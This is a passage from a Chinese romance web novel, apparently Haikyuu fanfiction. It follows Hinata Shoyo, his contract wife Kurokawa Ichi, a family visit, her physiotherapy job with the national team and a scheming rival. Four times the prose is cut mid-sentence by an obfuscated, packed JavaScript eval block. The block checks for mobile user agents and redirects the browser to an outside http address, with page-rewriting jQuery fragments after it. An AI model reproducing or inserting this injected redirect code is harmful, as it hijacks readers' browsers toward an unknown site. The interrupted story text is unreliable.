他看起来像是盯住猎物的捕食者,我的后颈一阵阵发紧。
“嗯?”
我哼了一声表达疑问,尾音有点发飘。
“小一的眼睛也很漂亮,像宝石。”
同时眼尾的皮肤被略显粗糙的指腹摩擦了一下,我心头剧颤,被细细摩挲着眼尾的眼睛也睁大看向他。
“漂亮?”
也许是钴蓝色的眼眸中晃荡的月色太像水光。
日向翔阳鬼使神差的附身,在不断颤动的眼皮上轻轻一碰。
他的声音也跟着放轻:“对,像最名贵的宝石,小一特别特别好看。”
泛着晶莹水光的蓝色,历经痛苦和阴郁打磨
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15279050|166748||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
的宝石。
以及只展现给他一个人的水色。
他胸口第一次在打排球之外的地方跳动的这么快。
黑川一第一次怀疑自己的审美,忍住摸向眼睛的冲动,真的这么好看吗?
是日向君第一次见到我这种的蓝色的缘故吧。
这样想着,我还是忍不住开心。
日向翔阳怔了一下,按在我眼角的指腹逐渐下滑到唇角,按住那细微的弧度。
紧接着一个意想不到的吻落了下来。
“小一笑得很好看,这是给你的奖励。”
我顿时脑袋嗡了一声,红晕从脖颈蔓延到整个脸颊,浑身发热的站在原地不知所措。
奖!励!
?!
屋内终于发现了点不对劲,有脚步声逐渐靠近,伴随着一道温柔的女声:“翔阳?小一是你们吗?”
我一只手按着乱成一团的脑袋,向回收我的手,想要分开一点站直身体。
日向君仗着常年运动修长紧实的身体站在原地纹丝不动,仍然维持着脑袋搭在我肩膀上的姿势,声音有点委屈。
“小一?”
我使出吃奶得劲用力抽我的手,百忙之中,胡乱回应:“嗯?日向君你先放开!”
肩膀上的脑袋蹭了蹭颈侧,我挣扎的动作僵了一下。
“小一。”
“嗯,我在呢。”
我泄气的收回手,气鼓鼓的斜眼看着人,无力的站在原地。
算了,毁灭吧,被发现了,我就连夜强制退出。
他又用柔软的橘色短发蹭了蹭我的侧脸,橘色香气萦绕在我的鼻尖。
我心中升起的怒意顿时消减了大半。
泄愤般摸上他送上门的脑袋,rua了个爽。
“妈……妈妈要来了,你到底要说什么?”
有些不自在的吐出前两个字,我催促着忽然性情大变黏黏糊糊的日向翔阳,如临大敌的看着眼前的门板。
生怕里面的人忽然开门,看到我和日向君站在门口奇奇怪怪的姿势。
日向翔阳看着人鼻尖上都出汗了,强忍着喉间的笑意,直起身,顺便帮她整理了一下被蹭乱的衣领。
“我想让小一喊我的名字。”
我急促的眨了眨眼,没想到他吞吞吐吐了这么半天就是为了这个。
在日向君心中我是需要这么珍惜对待的家伙吗?
我喉咙紧了紧,想要顺着他的意思喊出名字,心口剧烈的心跳掩盖过我的声音。
最终我也不知道日向君有没有听到,因为门“嘎吱”一声开了。
日向妈妈站在门口疑惑的表情转变为惊喜:“啊!果然是翔阳和小一回来了!”
我紧张的同手同脚走进去,将日向君刚才的话抛在脑后,紧张的脸越发紧绷。
好在日向君的爸爸妈妈都是非常好相处的人。
热情的我根本不用费尽心思想话题。
晚饭后,我捏着被塞过来的水果,坐在日向君身边,僵硬的身体终于稍微放松下来。
日向妈妈笑眯眯的在我们之间看了看:“翔阳和小一一下飞机就赶回来是不是累了,妈妈已经给你们准备好房间了哦。”
“翔阳快带小一上去好好休息。”
我捏着苹果的手下意识用力,苹果咔嚓一声掰成了两半。
睡一个房间?!
温柔的女人看了过来:“小一这是怎么了?”
14. 第 14 章
睡一个房间?
窗外夜色暗沉,我僵硬的坐在房间内唯一的椅子上,房间外日向君和妈妈温和的声线隐约传进来,听不太清。
日向君的房间整理的很干净,不在的这段时间日向妈妈应该也经常整理。
大概是很长时间没回来的缘故,显得有些清冷。
我一个人坐了会儿,按照日向妈妈的热情程度以及和日向君之间的协议,这一天确实早晚都会到来的。
我呼出一口气安慰自己。
反正……如果是日向君的话,就算睡在一个房间也不会有问题的吧?
我红着耳垂板着脸,努力驱散一个小时之前在门前越界亲昵的记忆。
耳畔不自觉有些发烫,我忍不住捏了捏耳垂,有些不确定,日向君说不定对我也并不是没有感觉。
是吧?
我呆坐了一会儿,脱下了连帽外套,打算先去洗漱。
明天就要去国家队报道了,工作量很大,我也要养精蓄锐才能帮上日向君。
我拿着衣服放轻脚步穿过走廊。
“翔阳你结婚的事情我们很高兴,但时间上太过于突然了,所以妈妈才会多问问。”
轻巧的脚步一顿,我的心提了起来,下意识贴墙站立。
日向君不是擅长撒谎的性格,他会把我们之间的事情告诉妈妈吗?
日向妈妈今天晚上对我态度真的很温和细心,这也是因为我是她认知中儿子喜欢的人的原因,如果知道了真相……
这么荒唐的结婚原因,我苦笑一声,我会被直接赶出去吗?
到时候日向君也会很为难吧。
不知为何我心里有点难过。
我抓紧了手里的衣服,屏吸听着楼下的声音。
日向君说话速度有点慢,似乎一边说话一遍斟酌,态度很慎重。
“妈妈我知道您的担心,我已经决定和小一一起走下去了。”
日向纯第一次看到儿子说到一个人脸上这么柔和复杂的表情。
不仅仅是温柔,大概是一想到那个人思绪太过复杂而产生的感情。
这还是她那个只知道排球的单细胞生物儿子吗?
看他一时有些不知道怎么说,她连忙挥挥手:“不用说了,不用说了,妈妈知道了,既然已经结婚了翔阳一定要对小一好一点。”
日向翔阳一脸正色,腰背挺直,大声应是。
日向纯:“……”
这个反应是怎么回事,让他好好照顾人,又不是上级下达什么指令。
果然还是那个笨蛋吧!
她闭了闭眼睛,让他赶紧回去。
“我就不耽误你们了,今天晚上好好休息,进队后就要注意一点了哦。”
日向翔阳愣了一下,上调的眼睛瞬间睁大,红晕从脖子蔓延到脸颊,好在这几年肤色晒得深了些,在昏黄的灯光下看的不太清。
他的反应过妈妈的意思之后,腾的一下站了起来,结结巴巴:“妈妈,不是的…我和小一…其实……”
“日……翔阳?”
一道声音打断了他慌乱的话,客厅里促膝长谈的母子俩转头望去。
我紧扣指尖,不着痕迹避开日向妈妈茫然探究的视线,视线落在日向君的下巴上。
“不是说明天要早点去队里报道吗?时间不早了。”
橘发青年看着楼梯上的少女,慌乱的心一下就安定下来。
日向纯看出来了,也把刚才的不对劲抛在脑后,偷笑着推了推他。
“去吧。”
我等到日向君走到身边才转身,衣服遮掩下的手还泛着冷汗,说实话我现在有点难过。
一时间也不知道说什么。
不过我也确实说不出什么好听能哄人的话,让日向君保守我们之间的秘密,或是哄着人喜欢上自己。
只能按照论坛上奇怪的经验贴,死马当活马医,一点点一点点忍着不安,接近这个人。
刚才喊出日向君的名字打断他的话已经是极限了,如果日向君决定坦诚的话…我没办法阻止。
胸口的位置有点酸酸的鼓胀感,有点陌生。
我轻抚胸口,站在浴室门前和他分开,眼睛并不敢和他对视,低声说:“日向君,我先去洗漱可以吗?”
他本来似乎想说什么,眼神落在她手里的衣物上,眼神忽然闪过一丝慌张。
“嗯?”
“嗯,好。”
他说完后,看着低着头的少女,又补充一句:“等会你直接去床上睡,我等会儿回来打地铺就行。”
他见少女还没走,面上表情有点奇怪,紧接着安慰了她好一会儿,最终道:“放心吧,妈妈不会发现的。”
我轻轻点头走进浴室。
热水从头淋下,舒缓了头皮的紧绷,我隐约听见关门的声音,大概是日向君也进了房间。
我顺着水流按上心口的位置,面色凝重。
我到底在担心什么呢?
心口回应般传来陌生的酸胀。
只要日向君还记得我们之间的约定…他就不会随便将我扔下。
这点无需怀疑。
就算是日向君家中反对,也对我不会造成太大的影响。
……可能只是有些在意,如果我不阻止的话,日向君会说些什么。
会是坦白撇清我们的关系吗?
我关上水阀,随便套上睡衣,打开门走了出去。
脚步踟蹰的站在门前。
门先一步被人从里面打开了,我及时退后一步,避开了即将撞上的橘发青年。
他呆愣一瞬,又有点懊恼。
“啊小一。”
日向君的声音听起来有点小心翼翼,我怀里忽然多出了一个小盒子。
我拿着东西茫然抬头。
日向君似乎有点不好意思,闪闪躲躲的避开我的视线,我心里更加低落。
“这是?”
我打断两人之间的沉默。
他似乎松了口气,已经是成年人轮廓的脸笑起来仍然带着令人生出好感的少年气。
“只是妈妈刚才让我交给你的。”
他向前一步,主动缩短了两人之间的距离,虽然在排球运动员之中日向君的身高不算突出,但177的身高仍然能俯视我。
穿着队服带着护膝站在赛场上的日向君,有种和外表不符的压迫感,让对手不会轻易小觑。
现在这种奇异的感觉转嫁到我身上。
不会害怕,反而胸口会传来熟悉的鼓胀感。
难不成我是病了?
我抿唇,与他对视的眼睛下垂,划过早已熟悉的脸颊下巴,落在他的胸前。
运动员可怕的训练量,所锻炼而成的优秀体格上,将衣服撑起弧度的胸肌随着主人的呼吸微微起伏。
我下意识跟随那胸廓起伏的速度,数了一下呼吸次数。
过了两秒才反应过来的我,视线
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15279051|166748||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
也僵住,想要转移到其他地方,却发觉两人之间的距离有点太近了。
想要将目光移到别处,动作幅度会有点大,我索性就看着近在眼前的胸肌,双眼放空。
这点我很擅长。
“刚才妈妈的话不要放在心上,我们之间事情她不了解。”
我顺着他的话点点头。
他踌躇了一下,又接着说:“小一,关于婚约的事情,我觉得我们应该再谈谈。”
我点点头,点到一半,察觉到不对,不动声色仰头。
被修剪的刘海让我的视线异常清晰明亮,也看出了那双橘色眼眸中的认真。
他看着我的视线有点期待。
我喜欢小狗,也从来都拒绝不了日向君露出这种眼神。
同时也意识到最坏的结果,在我觉得事情在向着更好的方向发展的时候,毫无预兆的到来。
我性格中更加尖锐的一面,让我想要立刻答应下来,甚至现在就撇清关系。
好像在对方说出口之前,抢先一步说出的话,会让我不那么狼狈。
但第一次见面时冲动的后果让我咬住唇角,吞下言辞激烈伤人伤己的话语。
我在日向君期待的视线中,艰难的点点头:“这次的集训很重要,关乎你以后的发展。”
如果这次在比赛中表现好的话,日向君大概会从圣保罗Asas转会进入国家队。
这大概是每个拥有国家荣誉感的运动员所渴望的。
“在比赛结束之后,我们再谈谈。”
我说完后,听到对方陡然变得欢快的声音,伴随着脑袋上亲昵的触碰。
“好啊。”
我目送他进入的浴室才走进房间,在散发着阳光气味的床沿坐着发了会儿呆,才打开手里的盒子。
是一对戒指。
我震惊的瞪大了眼睛。
是妈妈让日向君交给我的?
我小心的拿起这对素圈戒指对着光看了会儿,是很素净低调的款式,适合日常佩戴。
内圈刻有我和日向君名字的缩写。
我试探性把较小的那枚套进无名指,尺寸刚刚好,让原本苍白纤细的手指褪去些许单薄,沉甸甸的附加上了来自长辈的期许。
原来日向妈妈是期待着的。
想必日向君给我之前,也没有想过打开看看吧。
我摘下戒指重新放回去,想了想还是搁在床头显眼的位置,我躺进新换的被褥里,身上的味道不是早已习惯的橘子味,我花了很长时间才彻底睡着。
第二天醒来,我套上专门为工作买的衬衫和西装裙,款式长到小腿,走起路有点慢。
地上睡过人痕迹已经彻底被收拾干净。
我慢吞吞把黑发盘在脑后,抓起外套,走出房间,离开之前鬼使神差的回头看了一眼。
啊,床头柜上的戒指盒不见了。
我转身关上门,大概这次任务的最后期限就是这次集训之后了。
失败其实也是理所当然的吧。
我不过是误入这里的路人系统员工而已,能够做好本职工作已经很好了。
更何况……
我脚步停在楼梯口,被修剪到眼皮上方的刘海让我有点不习惯,无法躲避其他人视线。
我和一双天蓝色的眼眸对上视线。
即便已经看过很多次,我还是要感叹一声,那个颜色真的很漂亮。
黑川爱已经开始主动出击了。
15. 第 15 章
昨天晚上才确定我的计划彻底失败,今天早晨就见到黑川爱自然而然的侵入我的领地,心情不可避免的向下滑落。
黑川爱朝我点点头,脸上的笑容既不亲密也也不过分疏离:“早上好小一。”
她面向日向纯,微微歪头,懊恼的说:“说好的我来给小一准备早餐的,结果和阿姨聊得太开心忘记了,都是我不好。”
她起身朝厨房走去的:“我来的时候见你还没醒就没叫你,怕你起晚凉了才没做你的,等我一会儿哦。”
我没有回答,面无表情站在原地。
日向妈妈朝我招手。
“小爱一大早过来等着你和翔阳一起去队里报道哦。”
我沉默了一下,来到她身边:“不用麻烦了…妈妈,时间不早我等会儿在路上吃点就行。”
并不想吃那家伙做得早餐。
没等日向纯反对,黑川爱就亲昵的凑过来挽住她另一只手,脑袋自然而然的搭在对方肩头。
“不麻烦,我来动手就行,不能让姐姐饿着肚子跟我们一起去上班吧?”
我和那双天蓝色的眼睛对视一瞬,又习惯性垂下眼眸。
又来了,这种自然而然插入别人之间反客为主的能力,我蹙了蹙眉。
本来就不怎么饿的胃部,在她的话音下有些反胃。
我捂住口鼻后退一步,视线不经意扫过茶几,擦得反光的金属盘子倒影出我格外苍白的脸色。
白中透着未休息好的青,配上暗沉沉的眼眸,看起来有点吓人。
黑川爱和日向妈妈还在看着我。
妈妈的视线逐渐变得有些奇怪,往前走了两步,握住我的手:“小一是不是身体不舒服?”
倒也没有。
就是被黑川爱假惺惺的样子弄得心里有点不舒服。
我避开两人的视线,垂眸看着被握住的手,摇摇头,还是不想让她担心,更何况我和黑川爱之间也说不清。
“可能是昨天晚上没有休息好。”
我脑子里还在思索怎么揭过这一茬,日向纯面色古怪了一下,竟然没有再追问下去。
反而更加亲昵的挽住我的手臂,属于女性的暖意和柔软从身侧传来,耳边是日向妈妈带着愉悦的温柔声线,我僵硬的身体逐渐放松下来。
黑川爱看着两人眸中闪过暗色。
有脚步声从门外靠近,她看了两人一眼,率先起身打开门。
我听到的黑川爱带着甜意的声音:“啊,翔阳君?早上好,今天打扰了。”
“黑川桑?”
脚步声越来越近,穿着白色运动服的橘发男人同面容精致可爱的少女一同出现。
拥有让人过目不忘的天蓝色漂亮眼睛的少女同人说话的时候,双眼亮晶晶的,橘发青年微微侧身礼貌的听着她说话。
男俊女靓看起来非常和谐。
我眉头收紧又在被察觉之前放松下来,因为被日向妈妈挽着的手臂紧了紧,我循着力道看去。
日向纯表情有点严肃,吓了我一跳。
“怎么了妈妈?”
她拍了拍我的手背,先朝两人的方向喊了一声。
“翔阳?你们时间晚了吧,小一还没吃早饭,等会儿记得带她在路上吃点。”
然后才凑过来小声问道:“翔阳经常这样吗?”
什么样?
我愣了一下顺着她的视线又看了那边一眼,才恍然,有黑川爱出现就会被忽视的场面我已经习惯了。
没想到她居然在黑川爱的影响下,仍然关心着我的想法。
心里划过一丝暖意。
“您误会了妈妈,翔阳他对我很好。”
这并不是日向君的问题,在巴西时日向君就没有对黑川爱有什么特别。
我是相信日向君的。
即便我们之间的协议即将走向结束。
日向纯的表情有点复杂,看我的眼神似乎更温和了点。
日向君很快和黑川爱分开三两步来到我面前,从怀里掏出一个带着热度的纸袋递给我,我迟疑着接过。
脑袋一重。
他顺手将掌心放在我头顶和妈妈说话。
他们在说什么我没注意到,全部注意力都被头顶带着亲昵意味轻抚,以及从身侧传来勃发的热度吸引。
我束手束脚的站在原地,动都不敢动,感觉随便动一下都有可能触碰到日向君的身体。
距离是不是太近了。
被顺着发顶抚摸梳理的酥麻从头皮一路窜进心里,我感觉到脸上烧起的热度,却又清醒的记得昨天晚上的对话。
我在心里告诉自己不要想太多,可还是轻易被日向君的动作牵动心神。
发顶的手一点点从捋过的黑发滑落,大概是被我挽起头发挡住,没有像往常那样落在后颈,而是从侧边贴在耳垂上方。
梳理了一会儿鬓角。
我站在原地垂着脑袋,不想让人看见脸上异常的神色,心里盘算着先找个借口离开。
手掌边缘忽然碰上了我的耳朵。
我咬住唇角,钴蓝色的眼眸湿润了一些。
紧接着两根手指漫不经心的捏住柔软微凉的耳垂。
带着灼人温度以及粗糙触感的指腹掩住了小巧白皙的耳垂,似乎是感受到其上的凉意,就这样轻轻触碰着不动了。
日向翔阳平静的回复着母亲的问题,视线却落在少女的耳朵上,自上而下的角度可以依稀看见被他手指挡住的,几乎白到透明的耳垂。
像一团果冻。
他下意识想。
明明都是夏天了,居然还这么凉,怪不得小一总是穿着外套。
他用指腹将那块焐热:“我知道了妈妈,不用担心,我们先走了。”
他结束了和妈妈的对话。
手指下意识捏了捏染上他的体温却过分柔软的耳垂,正想要带她离开,却亲眼目睹白玉般的耳垂漫上可爱的红晕,然后一点点蔓延到整个耳朵。
他目光顿住。
好可爱。
“……小一?”
听到他声音的少女轻颤了一下,似乎有点不愿意抬头,只侧脸飞快的扫了他一眼。
“嗯,我们走吧。”
我听到自己尾音发颤的声音,有点懊恼。
捏住耳垂的手也很快离开,我松了口气,好在日向君没有发现我的异常。
我抱着袋子跟在他身后,努力平复加快的心跳,连注意黑川爱的心情都没有了。
结果走在前面的身影忽然转身,我猝不及防撞上日向君的胸膛,鼻腔一酸,眼睛迅速凝聚起水雾。
日向君的声音有点慌张。
“怎么了,我看看。”
本来遮掩得严严实实的脸,被一只手捏着下巴挖了起来,凝聚的水雾随着动作从眼尾滑落。
像是偷偷哭了一样。
我有点尴尬,飞快擦掉脸上的泪珠。
自从成年后我就很少哭,更何况是在别人面前被误会掉眼泪,想想都觉得可怕。
日向君肉眼可见的紧张起来:“抱歉很痛吗?!”
我别开被捏住的脸,声音带着鼻音连忙解释:“刚才撞到鼻子了,有点酸,没什么事。”<
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15279052|166748||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
/p>
“是这样吗?”
他松了口气,指腹小心的替我擦掉睫毛上挂着的泪珠,大概还是不放心,他顺势牵住了我的手。
“没事就好,等会儿我先带你去报道,现在小一的任务是解决掉早餐。”
语气中的关心让我有点开心。
我小幅度点点头,又意识到日向君可能没看见,补充道:“谢谢日…翔阳。”
我还有点不习惯叫这个更加亲昵的名字,每叫一次心里都不可避免的泛起涟漪。
黑川爱走在日向君的另一边,沉默的目光若有所思的看着两人的互动,罕见的没有插话。
进入国家队的地盘之后,碰见的人就多了起来,有很多人都在看我们。
准确来说看的是牵着我的日向君。
“这就是妖怪的世代的那个日向翔阳?”
“呜哇——”
“看起来虽然是小个子,但气势不错啊。”
妖怪的世代……
我看向日向君的侧脸,他若有所觉的转头和我对视,我下意识抽了抽手。
他没有放开,反而安抚的收紧了手心。
“不要怕。”
我迅速转过头,心头逐渐堆积的不安,在他平静的声线中消弭。
“嗯。”
“我没有紧张,只是忽然觉得……”
日向君好像比想象中还要厉害的样子。
他疑惑的看着我:“嗯?”
我没有说下去,站在报道的办公室前,抽出手掌推了推他的肩膀:“那好像是日向君认识的人,快去吧。”
金发青年单手插兜朝这边挥手来着,笑得这么灿烂,大概是日向君的朋友吧。
我默默收回视线,走进办公室。
国家队不缺优秀的理疗师,我们这些跟着远动员来的人分成了两部分,一部分去场边待命帮忙。
一部分待在理疗师分担日常工作。
黑川爱不出所料的选择了场边待命的一边。
负责人看了我一眼,在本子上写写画画:“那好,你是黑川一是吧,熟悉远动员的去一个就够了,你就跟着在这边帮忙吧。”
工作而已我没什么意见。
一定要说的话,我希望能不要分配这么多给我做。
很累。
我按部就班的跟着负责人熟悉位置,在他盯着我处理完一个替补选手后,神情高深莫测的看了我一会儿。
我用消毒洗手液仔细清理双手,茫然回视。
“请问……是有什么问题吗?”
“不,倒不是有什么特别的问题。”
负责人摸了摸下巴,似乎有些犹豫:“黑川桑想去场边待命吗?”
一般技术好而且熟悉远动员的理疗师,经常会被派去场边,上面的一般是比较有资历和帮忙打下手的工作人员。
薪资待遇差不多,但比较起来当然还是跟着运动员更轻松。
虽然我很想看日向君打排球来着……
“下面人会很多吧?”
负责人理所当然:“平时训练的大场馆,因为是混用的,偶尔也会放点球迷进来观赛,不是正式比赛的话大概在几十到几百人之间吧。”
“我在这里就可以了。”
我即答。
十分钟后,我获得了一间单独的理疗师和一连串资料。
当我打开这叠资料,眼神放空了一瞬。
无糖芝麻馒头的尖叫.JPG
这么多工作都给我,真的假的?
我不是今天才来报道的新人吗?
这对吗?
16. 第 16 章
这不太对。
我面色凝重地搓热双手,对躺在床上背对着我,仅穿着单薄运动背心和短裤的身体按了下去。
对弥漫在室内逐渐变大的闷哼声充耳不闻,这样的声音我这几天已经听腻了。
大概是我的手法和其他人的不太一样,效果却不错,这几天来理疗放松的人越来越多。
每一个的反应都挺大的。
是被不知情人士听到,说不定会报警的程度。
我推了推鼻梁上的眼镜,算着时间从瘫软的身体上收手,摘下包裹着纤细手指的乳胶手套扔进垃圾桶。
“结束了井上君。”
对方毫无反应,甚至狭窄的理疗床上响起了细微的鼾声。
我拿起记录数据的笔记本,在上面写写画画,没有喊醒已经陷入深度睡眠的井上。
经过这几天的洗礼,我的心已经像杀了十年鱼一样冰冷,对各种球员精壮的身体视若无睹。
甚至还能淡定地完成最后的数据总结工作。
“反正是今天最后一个了,是这样没错吧,等日向君过来之后再叫醒他好了。”
当然这并不是我个人的决定,而是众人的请求。
理疗室的床怎么会有宿舍的床舒服呢?
我疑惑。
但不止一个这样要求的话…嗯,虽然不理解但尊重。
我把整理完的数据录入电脑,顺便发给负责人,时间刚好走到六点,随手摘下眼镜。
“下班……”
“咚咚咚。”
我懒腰伸到一半卡住,面色凝重了一下,看了一眼门板,相当做没听见继续收拾东西。
敲门声再次响起。
我挣扎了一下,最终还是只能咬牙打开门,面无表情:“请问有什么事吗?我已经下班了哦。”
“黑川桑?”
惊讶的声音从我头顶传来。
我扯了扯身上还没换下的白大褂,握着门把的手微松:“及川君怎么会在这里?”
一头棕发生了一张池面脸的青年朝我笑得很开心,按着我的肩膀重新进了理疗室。
我无奈地放松身体,任由他关上门。
及川彻明亮的眼睛落在我身上:“我也没想到能在这里遇到黑川,你看起来还不错。”
视线扫过毫无动静的床帘,我强忍着摸摸脸的冲动,眼神带上一丝沧桑。
如果工作越来越忙也能算是不错的话……
“我们之间客套的话就别说了吧,”我算着时间,日向君也该来找我了:“有什么可以帮忙的吗?”
我们算是偶尔会联系的网友。
我不久前得知及川君也是排球运动员,没想到这么快就在霓虹遇见了。
他走到我面前,我视线微顿落在他的大腿上,走动的动作好像有点奇怪。
及川彻有点苦恼地和我并排靠在桌上:“这次来霓虹是有比赛的,但前几天训练的时候大腿好像抻到了,做了几天理疗还是偶尔觉得不舒服。”
“听说这边来了很厉害的理疗师,所以想来试试。”
我歪了歪头,不是很想自作多情,但顺着及川认真的视线,指了指我自己。
“说的是…我吗?”
及川彻刚见到还穿着工作服的她的时候,还有些惊愕,现在已经平静下来,看着少女茫然的表情甚至笑出了声。
“唔哈哈哈哈哈哈。”
他也学着她的动作歪了歪脑袋。
“如果我没有找错房间的话,没有错的哦。”
“真没想到第一次见面那么可怜兮兮的黑川,现在变得这么厉害了啊。”
他感叹地拍了拍我的肩膀。
我抖了抖肩膀把他的手弄下去,从桌上跳下来,戴上手套。
“知道就好。”
毕竟这项技能是我以前工作间隙培训,并且获得了系统认可的。
“去躺下,有资料吗,我先看看。”
我拉开一个空床的床帘,朝他示意。
及川彻从口袋拿出几张纸递给我,一边脱下外套乖乖地躺上理疗床。
我认真看了会儿报告,果然和及川彻说的那样,只是单纯地抻到了,没什么隐伤。
只是会时不时有些不舒服。
我放下报告,带着手套的手按上他的腿,几下就找到了位置。
隐藏在结实的大腿肌肉深处的某一点,被带着橡胶手套的冰凉小手精准按上。
及川彻闭着的眼睛抖了抖。
他面色有些微妙地睁开眼,随着纤细手指不轻不重地按压,他一点点咬紧了牙关。
然而那只逐渐沾染上他体温的手像是踩着他的承受极限,一点点加重力道,将最深处未能放松的筋肉逐渐按开。
他面色有些发红,脖颈上暴起隐忍的青筋,眼神有些绝望。
那双看起来纤细苍白的手,为什么会有这么大的力气……
虽然在放松肌肉的时候叫出来是常态,但及川彻有种不妙的预感,这次应该和以前不太一样。
以前是痛,放松完毕后感觉到身体轻松下来才是爽。
现在虽然痛得他想从床上跳起来,但同样也有种被按到准确位置轻松。
叫……叫出来的话,岂不是有点丢脸。
他睁开眼睛,忽然对上旁边床铺看过来的视线。
及川彻身体一僵。
我蹙了蹙眉:“放松下来哦。”
他硬着头皮放松下来,看清了对方脸上的同情和感同身受,那人看起来是国家队的成员。
替补?
他看清了对方的口型,是让他放松下来不要忍了吗?
及川彻暗暗握紧了拳头,几乎为自己特地找过来而后悔,如果这里没有多余的人的话,他说不定还能豁出脸面。
现在……
我收回手活动了一下手指,及川从头到尾沉默的背影让我有点疑惑。
“是我太累了?”
力道轻了吗?
应该不会才对。
我默默加大了半分力气,认认真真地做完一整套肌肉放松。
结束的时候罕见地喘了口气。
“呼,结束了及川君。”
我摘下手套,习惯性在他带来的纸张上记录下情况。
过了好一会儿,背后才传来动静,一只手幽幽地搭上我的肩膀,及川彻的声音有些干涸的沙哑。
“黑川。”
我收起笔,把写好数据和方案的纸张还给他,再看了眼时间。
这个时间日向君应该早就过来了才对。
“嗯?”
及川彻看着她认真的脸,忽然落入那双钴蓝色的眼眸,暗淡的眸色很容易让人忽略。
明明是这种特殊的颜色。
一旦注意到的话,却有些移不开眼。
他话音一转:“你什么时候剪头发了?新发型很适合你。”
眼睛也很好看。
他悄悄活动了一下身体,刚才的疼痛隐忍让现在的轻松显得格外珍贵。
真的很厉害啊,黑川。
他看着少
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15279053|166748||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
女的眼神闪闪发亮。
我换上自己的外套,顺便拉开另一个床帘叫醒井上,漫不经心的回复。
“刚来的第一天。”
日向君今天要加训吗?
我拎起背包锁门带着一个小尾巴朝球场走。
身后不知道为什么还没走的及川君紧跟着:“我们已经认识这么长时间了,我叫你小一怎么样,你也可以叫我名字。”
训练场很安静,我穿过长长的走廊,朝更衣室找过去。
空旷安静的场馆回荡着两人的脚步声,让人心底有点发凉。
我开始感谢跟过来的及川了,脚步稍微慢了点,捏着从理疗室带出来的手指绷带,一间间房间看过去。
“我都可以。”
及川彻低头看着身高只到胸前少女,顺势建议:“那待会儿一起去吃饭怎么样,就当你帮我的报酬。”
唔,吃饭倒是无所谓。
我对这种主动朝我伸出手的朋友很少能说出拒绝的话。
“可是可以,不过及川君倒是也不比这么客气啦,当初在巴西还是你帮了我呢,啊,找到了,介意多一个人吗?”
我看到不远处的拐角熟悉的橘色,唇角不自觉带出细微的笑意。
脚步轻快起来。
“翔阳?”
“谢谢你,翔阳君,今天多亏了你帮忙,不然我真的不知道该怎么办才好。”
熟悉的声线带着哭腔从被青年身形遮挡住的地方传来,我脚步顿住。
黑川爱。
我隔着日向君和她对上了视线。
她的发丝有些凌乱,手臂上还绑着绷带,看起来可怜兮兮的却丝毫不减魅力。
我想要上前抓住日向君,带着他离开。
我们才是夫妻,他一直都很照顾我,肯定会愿意跟我走的。
但我的脚步像被胶水黏住一样停在原地。
经常锻炼的青年的身形漂亮,能轻易遮挡住身前的少女,我这里只能看见黑川爱的侧脸以及她伸向日向君衣角的手。
“举手之劳而已,任何人碰见的话都不会不管的。”
日向君的声音很柔和。
我仔细甄别他对黑川爱和我之间的差别,好像没什么不同,甚至因为黑川爱受伤了他的声音下意识放得更轻。
黑川爱勾唇,微微垂头露出好看的侧脸和脖颈:“才不是呢。”
“如果不是日向君我就应该被锁在厕所过夜了,请让我表达谢意,我请你吃饭吧。”
她观察着青年的神色,见他微微皱眉,似乎想要拒绝。
她上前一步,阻止了他的话,眉眼有些低落声音放低:“那家店我已经预约了,小一应该也会喜欢。”
两人拉近的距离看起来像是拥抱。
我死死咬住唇角,拉着身后的及川转身离开:“我们走吧,不是请我吃饭吗?”
他多看了角落里的两人一眼,有些茫然:“不是还有一个人吗?”
我拉着他越走越快。
“他已经有人请他吃饭了,给你省点钱。”
及川彻又回头看了一眼,若有所思地闭上嘴巴,然后反客为主搭上她的肩膀。
天色已经暗了下来,街道两边的路灯照亮了少女的表情。
钴蓝的眼眸荡漾着灯光,看起来马上要从眼角流下。
再仔细去那双眼眸已经恢复了平静,仿佛刚才漂亮的景色全是他的幻觉。
